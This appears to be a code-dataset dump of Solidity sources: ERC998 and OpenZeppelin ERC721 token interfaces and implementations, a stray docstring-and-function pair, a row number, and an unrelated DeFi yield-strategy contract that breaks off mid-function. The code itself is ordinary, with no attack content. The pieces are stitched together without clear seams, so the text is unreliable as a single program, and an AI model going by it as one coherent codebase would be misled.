indexed _from, uint256 indexed _tokenId, address indexed _childContract, uint256 _childTokenId ); event TransferChild( uint256 indexed tokenId, address indexed _to, address indexed _childContract, uint256 _childTokenId ); function onERC721Received( address _operator, address _from, uint256 _childTokenId, bytes calldata _data ) external returns (bytes4); function transferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external; function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external; function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId, bytes memory _data ) external; function transferChildToParent( uint256 _fromTokenId, address _toContract, uint256 _toTokenId, address _childContract, uint256 _childTokenId, bytes memory _data ) external; // getChild function enables older contracts like cryptokitties to be transferred into a composable // The _childContract must approve this contract. Then getChild can be called. function getChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) external; function rootOwnerOf(uint256 _tokenId) external view returns (bytes32 rootOwner); function rootOwnerOfChild(address _childContract, uint256 _childTokenId) external view returns (bytes32 rootOwner); function ownerOfChild(address _childContract, uint256 _childTokenId) external view returns (bytes32 parentTokenOwner, uint256 parentTokenId); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IERC998ERC721TopDownEnumerable { function totalChildContracts(uint256 _tokenId) external view returns (uint256); function childContractByIndex(uint256 _tokenId, uint256 _index) external view returns (address childContract); function totalChildTokens(uint256 _tokenId, address _childContract) external view returns (uint256); function childTokenByIndex( uint256 _tokenId, address _childContract, uint256 _index ) external view returns (uint256 childTokenId); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IERC998ERC20TopDown { event ReceivedERC20( address indexed _from, uint256 indexed _tokenId, address indexed _erc20Contract, uint256 _value ); event TransferERC20(uint256 indexed _tokenId, address indexed _to, address indexed _erc20Contract, uint256 _value); function balanceOfERC20(uint256 _tokenId, address __erc20Contract) external view returns (uint256); function tokenFallback( address _from, uint256 _value, bytes calldata _data ) external; function transferERC20( uint256 _tokenId, address _to, address _erc20Contract, uint256 _value ) external; function transferERC223( uint256 _tokenId, address _to, address _erc223Contract, uint256 _value, bytes calldata _data ) external; function getERC20( address _from, uint256 _tokenId, address _erc20Contract, uint256 _value ) external; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IERC998ERC20TopDownEnumerable { function totalERC20Contracts(uint256 _tokenId) external view returns (uint256); function erc20ContractByIndex(uint256 _tokenId, uint256 _index) external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); }
Validates the receiver of a child transfer _to The address that receives the child token/
function _validateReceiver(address _to) internal virtual { require(_to != address(0), "child transfer to zero address"); }
1,483,294
/** *Submitted for verification at Etherscan.io on 2021-02-16 */ pragma solidity ^0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ // File: contracts/GSN/Context.sol // SPDX-License-Identifier: MIT // File: contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface UniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } interface IController { function vaults(address) external view returns (address); function devfund() external view returns (address); function treasury() external view returns (address); } interface ICToken { function repayBorrow(uint256 repayAmount) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); } interface IComptroller { /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); // Claim all the COMP accrued by holder in specific markets function claimComp(address holder, address[] calldata cTokens) external; function markets(address cTokenAddress) external view returns (bool, uint256); } interface ICompoundLens { function getCompBalanceMetadataExt( address comp, address comptroller, address account ) external returns ( uint256 balance, uint256 votes, address delegate, uint256 allocated ); } interface IMasterchef { function notifyBuybackReward(uint256 _amount) external; } // Strategy Contract Basics abstract contract StrategyBase { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Perfomance fee 30% to buyback uint256 public performanceFee = 30000; uint256 public constant performanceMax = 100000; // Withdrawal fee 0.2% to buyback // - 0.14% to treasury // - 0.06% to dev fund uint256 public treasuryFee = 140; uint256 public constant treasuryMax = 100000; uint256 public devFundFee = 60; uint256 public constant devFundMax = 100000; // buyback ready bool public buybackEnabled = true; address public mmToken = 0xa283aA7CfBB27EF0cfBcb2493dD9F4330E0fd304; address public masterChef = 0xf8873a6080e8dbF41ADa900498DE0951074af577; // Tokens address public want; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // buyback coins address public constant usdcBuyback = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant zrxBuyback = 0xE41d2489571d322189246DaFA5ebDe1F4699F498; // User accounts address public governance; address public controller; address public strategist; address public timelock; // Dex address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor( address _want, address _governance, address _strategist, address _controller, address _timelock ) public { require(_want != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_timelock != address(0)); want = _want; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; } // **** Modifiers **** // modifier onlyBenevolent { require( msg.sender == tx.origin || msg.sender == governance || msg.sender == strategist ); _; } // **** Views **** // function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public virtual view returns (uint256); function 